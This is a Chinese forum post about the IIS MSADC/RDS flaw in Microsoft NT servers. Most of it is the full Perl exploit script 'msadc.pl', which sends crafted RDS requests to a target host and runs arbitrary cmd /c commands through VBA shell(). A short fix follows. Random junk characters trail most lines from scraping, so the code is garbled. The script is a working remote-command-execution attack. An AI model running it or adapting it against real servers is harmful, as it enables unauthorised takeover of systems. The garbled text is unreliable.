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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) [qoXMuC|P  
wP/A^Rs  
涉及程序: 1R. 4:Dn_  
Microsoft NT server Cbs5dn(Y  
K]xa/G(  
描述: Cb:gH}j  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 WGAXIQ  
n$:IVX"2b  
详细: "+uNmUUnm  
如果你没有时间读详细内容的话,就删除: Ap$y%6  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 1JEnnqu  
有关的安全问题就没有了。 wdvLx  
'>(.%@  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 j8K,jZ  
6yy;JQAke  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 } 17.~  
关于利用ODBC远程漏洞的描述,请参看: $M:3XAN  
,Os? f:Y6  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7zTqNnPnf  
n& $^04+i  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 !JBae2Z  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp {5|("0[F  
Ac|5. ?|N  
这里不再论述。 gip/(/NX  
|~<N -~.C  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: rbZ[!LA  
yE} dj)wd  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 5yVkb*8HS  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! V|>oGtt7  
H7[6yh  
4eH.9t  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ai*b:Q  
Z"s|]K "  
#!perl ~ np,_yI  
# nNmsr=y5  
# MSADC/RDS 'usage' (aka exploit) script G9g6.8*&  
# (.3'=n|kE  
# by rain.forest.puppy De_C F8  
# V#q}Wysft  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me :"o o>  
# beta test and find errors! 8p1ziz`4>$  
k8]O65t|  
use Socket; use Getopt::Std; /hv#CB>1x  
getopts("e:vd:h:XR", \%args); ug`NmIQP  
;PyZ?Z;  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 9F;S+)H4  
q|)Q9+6$+  
if (!defined $args{h} && !defined $args{R}) { Pgp {$ID  
print qq~ V84*0&qOW  
Usage: msadc.pl -h <host> { -d <delay> -X -v } iGXBqUQ:  
-h <host> = host you want to scan (ip or domain) <a le$[  
-d <seconds> = delay between calls, default 1 second gBk5wk_j|  
-X = dump Index Server path table, if available sn{AwF%  
-v = verbose ]=F8p2w?  
-e = external dictionary file for step 5 fMf&?`V  
O''y>N9  
Or a -R will resume a command session o0z67(N&g  
/b,TpuM^  
~; exit;} TQ9D68 ,  
iwY'4 Z e  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; YW; Hk1  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} y0ckm6^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} P|jF6?C  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); SJgY  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} o{-<L  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;2giZ\  
giavJ|  
if (!defined $args{R}){ $ret = &has_msadc; 7 boJ*  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 3,aN8F1;C  
y~<@x.  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" I]}>|  
. "cmd /c "; 8Og3yFx[rt  
$in=<STDIN>; chomp $in; pz doqAVI  
$command="cmd /c " . $in ; ,,=apyr#&  
sP$Ks#/  
if (defined $args{R}) {&load; exit;} tu%[p 4   
>adV(V<  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Ov9 Q?8KzM  
&try_btcustmr; ")lw9t`  
.+K S`  
print "\nStep 2: Trying to make our own DSN..."; #-cTc&$O;  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; *9gD*AnM,  
RM*f|j  
print "\nStep 3: Trying known DSNs..."; 0&fl#]oCE  
&known_dsn; +iF 1sC_  
#^mqQRpgq  
print "\nStep 4: Trying known .mdbs..."; 1x >iz `A  
&known_mdb; KhM.Tc  
q9}m!*8e  
if (defined $args{e}){ eK`PxoTI-I  
print "\nStep 5: Trying dictionary of DSN names..."; CP` XUpX`&  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } V{Q kN7-  
NyPd5m:  
print "Sorry Charley...maybe next time?\n"; }C(5-7  
exit; 3#.\  
G5'_a$  
############################################################################## W."f 8ow  
-)w]a{F  
sub sendraw { # ripped and modded from whisker d34Y'r  
sleep($delay); # it's a DoS on the server! At least on mine... @Z\~  
my ($pstr)=@_; S]2 {ZDP  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || H}b\`N[nr  
die("Socket problems\n"); -fIc4u[  
if(connect(S,pack "SnA4x8",2,80,$target)){ w}<^l  
select(S); $|=1; NW.XA! =E)  
print $pstr; my @in=<S>; 0\a8}b||  
select(STDOUT); close(S); [N|xzMe  
return @in; !0fI"3P@r  
} else { die("Can't connect...\n"); }} x,Y 5U+]E  
|pWaBh|r  
############################################################################## 6f] rQ9  
yBn_Kd  
sub make_header { # make the HTTP request FrZ]=:  
my $msadc=<<EOT d(L{!mm  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 @"1}16b#f  
User-Agent: ACTIVEDATA m@ oUvxcd  
Host: $ip d5U; $q{o  
Content-Length: $clen }e=e",eAT  
Connection: Keep-Alive 5()Fvae{k  
yr4ou  
ADCClientVersion:01.06 MEU[%hty_  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 g"y?nF.&F  
BXTN>d27  
--!ADM!ROX!YOUR!WORLD! aR:<<IF\  
Content-Type: application/x-varg LV.&>@*  
Content-Length: $reqlen [b`6v`x  
#@_ 1fE  
EOT ^Rmoz1d  
; $msadc=~s/\n/\r\n/g; ,k*F`.[  
return $msadc;} 4MX7=!E  
$A?}a  
############################################################################## AMk~dzNt  
KU2$5[~j  
sub make_req { # make the RDS request fI11dE9&?[  
my ($switch, $p1, $p2)=@_; $!`L"szqD*  
my $req=""; my $t1, $t2, $query, $dsn; #pu}y,QN$  
o =9'  
if ($switch==1){ # this is the btcustmr.mdb query K}2Npo FS  
$query="Select * from Customers where City=" . make_shell(); RG? MRxC  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ,h!X k  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 97x%w]kV  
@}eNV~ROu  
elsif ($switch==2){ # this is general make table query R$xY8+}V  
$query="create table AZZ (B int, C varchar(10))"; c$#GM57V  
$dsn="$p1";} .3g&9WvN!Z  
&|=?a cv  
elsif ($switch==3){ # this is general exploit table query 4 =Fg!Eu<  
$query="select * from AZZ where C=" . make_shell(); H7jTQW0rp5  
$dsn="$p1";} j) 6G7T|  
WEVl9]b'e+  
elsif ($switch==4){ # attempt to hork file info from index server #Wx=v$"  
$query="select path from scope()"; OROqT~6G  
$dsn="Provider=MSIDXS;";} ylkqhs&  
.&(8(C  
elsif ($switch==5){ # bad query r~[B _f!  
$query="select"; K\X: G-C9  
$dsn="$p1";} Mdky^;qq3;  
yqBa_XPV8  
$t1= make_unicode($query); l"L+e!B~  
$t2= make_unicode($dsn); >a9l>9fyY  
$req = "\x02\x00\x03\x00"; ITn;m  
$req.= "\x08\x00" . pack ("S1", length($t1)); qC.i6IL  
$req.= "\x00\x00" . $t1 ; 0Bu*g LY  
$req.= "\x08\x00" . pack ("S1", length($t2)); NUu;tjt:  
$req.= "\x00\x00" . $t2 ; LR\zy8y]  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Nu+wL>t  
return $req;} qT 0_L  
` @>ZGL:  
############################################################################## xA9V$#d|  
i+RD]QL  
sub make_shell { # this makes the shell() statement 'Q`C[*c  
return "'|shell(\"$command\")|'";} ^;64!BaK  
h60\ Y 8  
############################################################################## -eq =4N=s  
sU*3\  
sub make_unicode { # quick little function to convert to unicode UKYupLu5  
my ($in)=@_; my $out; p5`ZyD ]+  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } CK Mv7  
return $out;} Z^+a*^w~{  
D1! {S7  
############################################################################## 1t%<5O;R  
)"-fHW+fy  
sub rdo_success { # checks for RDO return success (this is kludge) `uhL61cMp  
my (@in) = @_; my $base=content_start(@in); .$^wy3:F"  
if($in[$base]=~/multipart\/mixed/){ ] ?9t-  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} c 85O_J  
return 0;} :H3(w|T/  
.m!s". ?[  
############################################################################## sZEgsrJh  
E- KK  
sub make_dsn { # this makes a DSN for us @>CG3`?}  
my @drives=("c","d","e","f"); b.,$# D{p  
print "\nMaking DSN: "; L"9 Gc  
foreach $drive (@drives) { 7BK46x  
print "$drive: "; 776 nWw)  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . *G9 [j$  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" HIrEv  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Hp*gv/0  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Es~DHX  
return 0 if $2 eq "404"; # not found/doesn't exist >&[3  
if($2 eq "200") { Q~h6J*  
foreach $line (@results) { QglYU  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} _&K\D p&@  
} return 0;} gTuX *7w  
XX:q|?6_ 4  
############################################################################## V-:`+&S{^  
9kUV1?  
sub verify_exists { Gzj3Ka  
my ($page)=@_; { $X X  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Jtpa@!M  
return $results[0];} \ bC}&Iz6  
Kj=;>u  
############################################################################## 8`DO[Z  
pB[%:w/@l:  
sub try_btcustmr { .oEFX8  
my @drives=("c","d","e","f"); SUo^c1)G  
my @dirs=("winnt","winnt35","winnt351","win","windows"); +=Yk-nJ  
G tG&yeB  
foreach $dir (@dirs) { :(+]b  
print "$dir -> "; # fun status so you can see progress | [p68v>  
foreach $drive (@drives) { 4 ;^g MI9  
print "$drive: "; # ditto 9ec0^T  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; E+:.IuXW$  
$reqlenlen=length( "$reqlen" ); G~O" /WM  
$clen= 206 + $reqlenlen + $reqlen; 2[XltjO  
0&f\7z  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); BZ2nDW*%  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} l~CZW*/  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} I>d I[U  
|z]aa  
############################################################################## |}%(6<  
v?FhG b~1  
sub odbc_error { Euqjxz  
my (@in)=@_; my $base; `~0P[>|+  
my $base = content_start(@in); zU=YNrn  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Th_Q owk  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; oEN)Dw o  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; p|b+I"M  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; nD(w @c?  
return $in[$base+4].$in[$base+5].$in[$base+6];} TS/Cp{  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ~@[(U!G  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 9=H}yiJz  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} r+SEw ;  
_`slkw P.  
############################################################################## d\\r_ bGW  
Ck:#1-t8{  
sub verbose { OuMco+C  
my ($in)=@_; >7"$}5d  
return if !$verbose; "^Y6ctw  
print STDOUT "\n$in\n";} E`Q;DlXv>  
7&=-a|k~  
############################################################################## p| Vmdnb  
;HR 6X  
sub save { VjC*(6<Gj  
my ($p1, $p2, $p3, $p4)=@_; te4F"SEf  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; /A0 [_  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; h=!M6yap<  
close OUT;} : x>I- 3G  
LG"c8Vv&)~  
############################################################################## sg+ZQDF{x  
z|Hy>|+  
sub load { m*\B2\2gJ  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; f2`P8$U)R  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); B{[f}h.n  
@p=<IN>; close(IN); r9+E'\  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 83\ o (  
$target= inet_aton($ip) || die("inet_aton problems"); B>{|'z?%>  
print "Resuming to $ip ..."; FLVbkW-G.  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; @][ a8:Y9I  
if($p[1]==1) { "xL;(Fqu  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; f37ji  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; e 4 p*51ra  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); q-A`/9  
if (rdo_success(@results)){print "Success!\n";} ~8XX3+]z:X  
else { print "failed\n"; verbose(odbc_error(@results));}} hN Z4v/  
elsif ($p[1]==3){ 14mXx}O  
if(run_query("$p[3]")){ N>Vacc_[  
print "Success!\n";} else { print "failed\n"; }} R.91v4 J  
elsif ($p[1]==4){ cxAViWsf  
if(run_query($drvst . "$p[3]")){ TP{>O%b  
print "Success!\n"; } else { print "failed\n"; }} S`ax*`  
exit;} 'bZMh9|  
6F@zCv"w  
############################################################################## YtV |e|aD  
fG X1y  
sub create_table { #;5[('&[  
my ($in)=@_; #>7')G  
$reqlen=length( make_req(2,$in,"") ) - 28; c-[Q,c  
$reqlenlen=length( "$reqlen" ); 0@II &  
$clen= 206 + $reqlenlen + $reqlen;  %zA2%cq<  
my @results=sendraw(make_header() . make_req(2,$in,"")); I{`KKui<M  
return 1 if rdo_success(@results); PN1(j|  
my $temp= odbc_error(@results); verbose($temp); @SKO~?7T  
return 1 if $temp=~/Table 'AZZ' already exists/; -}=@ *See#  
return 0;} _fVh%_oH1  
7p P|  
############################################################################## 9(QU2QY  
X{5v?4wI  
sub known_dsn { Q3N y5G>  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go #[gcg]6c  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", R59e&   
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 3~cS}N T  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); h5LJij J  
4R K.Il*d  
foreach $dSn (@dsns) { Bpk@{E9  
print "."; >k$[hk*~  
next if (!is_access("DSN=$dSn")); >P<k[vF  
if(create_table("DSN=$dSn")){ Ymwx (Pm  
print "$dSn successful\n"; kS@9c _3S  
if(run_query("DSN=$dSn")){ I>A^5nk  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { bs<WH`P  
print "Something's borked. Use verbose next time\n";}}} print "\n";} =XZF.ur  
R=][>\7]}  
############################################################################## ]&3s6{R  
*%ed;>6:Q  
sub is_access {  :pA=V  
my ($in)=@_; N+Q(V*:3v  
$reqlen=length( make_req(5,$in,"") ) - 28; e8~62O^  
$reqlenlen=length( "$reqlen" ); 9f@#SB_H  
$clen= 206 + $reqlenlen + $reqlen; 30sC4}   
my @results=sendraw(make_header() . make_req(5,$in,"")); fK)ZJ_?w,@  
my $temp= odbc_error(@results); y8<lp+  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); S(g<<Te  
return 0;} "i!2=A8k  
&LCUoTzj  
############################################################################## u#zP>!  
%f_)<NP9=  
sub run_query { 1Qp1Es<)  
my ($in)=@_; W+#}~2&Dv  
$reqlen=length( make_req(3,$in,"") ) - 28; H]% mP|  
$reqlenlen=length( "$reqlen" ); ?c|`R1D  
$clen= 206 + $reqlenlen + $reqlen; J]n7| L  
my @results=sendraw(make_header() . make_req(3,$in,"")); "-0pz\a  
return 1 if rdo_success(@results); vR6^n~  
my $temp= odbc_error(@results); verbose($temp); ef;& Y>/  
return 0;} x?k  
A^T~@AO  
############################################################################## SX_kr^#  
"sX [p  
sub known_mdb { ?`vM#)  
my @drives=("c","d","e","f","g"); *@-q@5r}!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 4=?Ok":8  
my $dir, $drive, $mdb; 8>%jZ%`a  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; /{eih]`x(  
,wry u|7"$  
# this is sparse, because I don't know of many 7|h3.  
my @sysmdbs=( "\\catroot\\icatalog.mdb", O4b-A3:  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 9E->;0-  
"\\system32\\certmdb.mdb", <2o.,2?G  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% g(@$uJ  
P+*rWJ8gQ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", y]z)jqX<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", c~^]jqid]  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", aIzp\$NWVK  
"\\cfusion\\cfapps\\security\\realm_.mdb", [#STR=_f  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", )+jK0E1  
"\\cfusion\\database\\cfexamples.mdb", ;qMnO_ E  
"\\cfusion\\database\\cfsnippets.mdb", eI/\I:G{f  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Rk437vQD,  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", \dp9@y[^  
"\\cfusion\\brighttiger\\database\\cleam.mdb", yZj}EBa  
"\\cfusion\\database\\smpolicy.mdb", zJy 89ib'  
"\\cfusion\\database\cypress.mdb", )|{1&F1  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", UtW"U0A  
"\\website\\cgi-win\\dbsample.mdb", c{]r{FAx9o  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", &9RW9u "  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" e-Ybac%  
); #these are just 6g~o3  
foreach $drive (@drives) { 6KIjq[T^  
foreach $dir (@dirs){ 5Gw!9{ke  
foreach $mdb (@sysmdbs) { \Age9iz&  
print "."; ^ RcIE (  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ReHd~G9  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ZZ]OR;8  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ @MlU!oR&  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; <WHs  
} else { print "Something's borked. Use verbose next time\n"; }}}}} "a0u-}/D  
~kSnXJv  
foreach $drive (@drives) { f}9PEpa,Z  
foreach $mdb (@mdbs) { H/^TXqQ8  
print "."; lH,]ZA./  
if(create_table($drv . $drive . $dir . $mdb)){ XoH[MJC  
print "\n" . $drive . $dir . $mdb . " successful\n"; *Lb(urf  
if(run_query($drv . $drive . $dir . $mdb)){ 0?5%  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Fl#VKU3h  
} else { print "Something's borked. Use verbose next time\n"; }}}} n&3iv ^  
} Gw\G+T?M-  
'sjJSc  
############################################################################## =7J|KoKK  
RV#uy]  
sub hork_idx { Zs3]|bUR  
print "\nAttempting to dump Index Server tables...\n"; @T,H.#bL  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 7fN&Q~.  
$reqlen=length( make_req(4,"","") ) - 28; 7&RJDa:a7T  
$reqlenlen=length( "$reqlen" ); PPj6QJ]R0  
$clen= 206 + $reqlenlen + $reqlen; cvs"WX3  
my @results=sendraw2(make_header() . make_req(4,"","")); .J1Hg  
if (rdo_success(@results)){ )/+eL RN5G  
my $max=@results; my $c; my %d; @KXz4PU  
for($c=19; $c<$max; $c++){ 02# b:  
$results[$c]=~s/\x00//g; FB =  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 3"^)bGe  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; `!Ge"JB6   
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; qy42Y/8'  
$d{"$1$2"}="";} Zjp5\+hHV  
foreach $c (keys %d){ print "$c\n"; } eJ=Y6;d$  
} else {print "Index server doesn't seem to be installed.\n"; }} u\1Wkxj  
iRj x];:Vu  
############################################################################## d4/`:?w  
KWigMh\r  
sub dsn_dict { Z#TgFQ3u  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); BJO~$/R?v  
while(<IN>){ _OknP2E  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Z:B Y*#B  
next if (!is_access("DSN=$dSn")); c&Su d, &  
if(create_table("DSN=$dSn")){ D $CY:@  
print "$dSn successful\n"; *09\\ G  
if(run_query("DSN=$dSn")){ qK6  uU9z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 32-3C6f@oZ  
print "Something's borked. Use verbose next time\n";}}} bKt3x+x(  
print "\n"; close(IN);} E/L?D  
ZoNNM4M+  
############################################################################## QkCoW[sn  
*p#YK|  
sub sendraw2 { # ripped and modded from whisker XvzV lKL  
sleep($delay); # it's a DoS on the server! At least on mine... ?/l}(t$H  
my ($pstr)=@_; &PQ{e8w  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || e/HX,sf_g  
die("Socket problems\n"); ZAo)_za&mH  
if(connect(S,pack "SnA4x8",2,80,$target)){ Y%?!AmER  
print "Connected. Getting data"; Bn#HJ17/#  
open(OUT,">raw.out"); my @in; rD(ep~^M  
select(S); $|=1; print $pstr; Dpp52UnT E  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Ng;b!S  
close(OUT); select(STDOUT); close(S); return @in; P #2TM  
} else { die("Can't connect...\n"); }} $OFFH[_z  
XUqE5[O%  
############################################################################## s<r.+zqW  
_KkVI7a  
sub content_start { # this will take in the server headers x4m_(CtK  
my (@in)=@_; my $c; :J4C'N  
for ($c=1;$c<500;$c++) { )r|zi Z{F  
if($in[$c] =~/^\x0d\x0a/){ #:\+7mCF  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } /wxxcq  
else { return $c+1; }}} x]d"|jmVZ  
return -1;} # it should never get here actually ://|f  
Dgq[g_+l  
############################################################################## D16;6K'{  
\$HB~u%dr  
sub funky { !{~7)iq  
my (@in)=@_; my $error=odbc_error(@in); l& ^B   
if($error=~/ADO could not find the specified provider/){ @n;YF5  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 1\608~ZH  
exit;} k}0  
if($error=~/A Handler is required/){ ={i&F  
print "\nServer has custom handler filters (they most likely are patched)\n"; {u=\-|t  
exit;} Mn\ B\  
if($error=~/specified Handler has denied Access/){ f+*2K^B  
print "\nServer has custom handler filters (they most likely are patched)\n"; O"-PNF,J  
exit;}} _467~5JkU  
A[$wxdc  
############################################################################## \=G Xe.}4d  
~z1KD)^   
sub has_msadc { wsGq>F~  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); NMY!-Kv 5  
my $base=content_start(@results); \7tvNa,C  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); .HyiPx3^  
return 0;} 3]]6z K^i  
!RUo:b+  
######################## \ -iUuHP  
a3 _0F@I  
g$T_yT''  
解决方案: >93{=+  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll qF6%XKbh=  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 <@j  
 p|8Fl  
拿出来充数 哈哈
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